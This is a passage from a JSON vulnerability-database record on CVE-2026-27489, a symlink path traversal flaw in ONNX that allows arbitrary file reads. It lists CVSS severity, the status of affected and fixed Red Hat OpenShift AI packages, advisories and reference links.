27489","license":"CC-BY-4.0","published_at":"2026-04-01T17:33:51.281Z","modified_at":"2026-04-13T23:23:37Z","summary":"onnx: ONNX: Information Disclosure via Path Traversal Vulnerability","details":"A flaw was found in Open Neural Network Exchange (ONNX), an open standard for machine learning interoperability. This path traversal vulnerability, exploitable via a symbolic link (symlink), allows an attacker to read arbitrary files located outside of the intended model or user-provided directories. This could lead to unauthorized information disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","source":"CVE-2026-27489"},{"type":"Red Hat","score":"Important","source":"CVE-2026-27489"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"affected","packages":["rhoai/odh-openvino-model-server-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"Affected","provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-codeserver-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":14,"fixed":[],"advisories":["RHSA-2026:24977"],"provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-caikit-nlp-rhel9","rhoai/odh-caikit-tgis-serving-rhel9","rhoai/odh-codeflare-operator-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-kueue-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9"],"package_count":63,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9"],"package_count":2,"fixed":[],"advisories":["RHSA-2026:73987"],"provider":"redhat-vex","source":"CVE-2026-27489"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.3","cpe":"cpe:/a:redhat:openshift_ai:3.3::el9","status":"not_affected","packages":["rhoai/odh-built-in-detector-rhel9","rhoai/odh-cli-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kube-auth-proxy-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9","rhoai/odh-llm-d-inference-scheduler-rhel9","rhoai/odh-llm-d-routing-sidecar-rhel9","rhoai/odh-maas-api-rhel9","rhoai/odh-ml-pipelines-api-server-v2-rhel9","rhoai/odh-ml-pipelines-driver-rhel9","rhoai/odh-ml-pipelines-launcher-rhel9"],"package_count":81,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-27489"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489"},{"type":"WEB","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"WEB","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"}]}],"references":[{"type":"WEB","url":"https://github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73"},{"type":"WEB","url":"https://github.com/onnx/onnx/commit/4755f8053928dce18a61db8fec71b69c74f786cb"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2026-27489"},{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-f5h2-hsq5-xztb-ovsj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3r9x-f23j-gc73"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-27489"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"FIX","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489"},{"type":"ADVISORY","url":"https://ubuntu.com/security/CVE-2026-27489"},{"type":"ADVISORY","url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-27489"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2453929"},{"type":"PACKAGE","url":"https://github.com/onnx/onnx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/onnx/PYSEC-2026-2239.yaml"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27489.json"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-27489","url":"https://www.cve.org/CVERecord?id=CVE-2026-27489","license":"CC-BY-4.0","modified_at":"2026-07-15T01:14:13.726Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-27489","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27489","relation":"self"},{"provider":"osv","source_id":"DEBIAN-CVE-2026-27489","url":"https://osv.dev/vulnerability/DEBIAN-CVE-2026-27489","modified_at":"2026-10-01T03:03:09.02843Z","relation":"self"},{"provider":"osv","source_id":"DHI-f5h2-hsq5-xztb-ovsj","url":"https://osv.dev/vulnerability/DHI-f5h2-hsq5-xztb-ovsj","license":"Apache-2.0","modified_at":"2026-11-16T02:35:19.062431Z","relation":"self"},{"provider":"osv","source_id":"GHSA-3r9x-f23j-gc73","url":"https://osv.dev/vulnerability/GHSA-3r9x-f23j-gc73","license":"CC-BY-4.0","modified_at":"2026-11-04T03:30:50.269971Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-2239","url":"https://osv.dev/vulnerability/PYSEC-2026-2239","license":"CC-BY-4.0","modified_at":"2026-07-13T07:15:50.564001Z","relation":"self"},{"provider":"osv","source_id":"UBUNTU-CVE-2026-27489","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-27489","license":"CC-BY-SA-4.0","modified_at":"2026-10-17T12:58:48.518946Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-27489","url":"https://access.redhat.com/security/cve/CVE-2026-27489","license":"CC-BY-4.0","modified_at":"2026-04-13T23:23:37Z","relation":"self"}]}
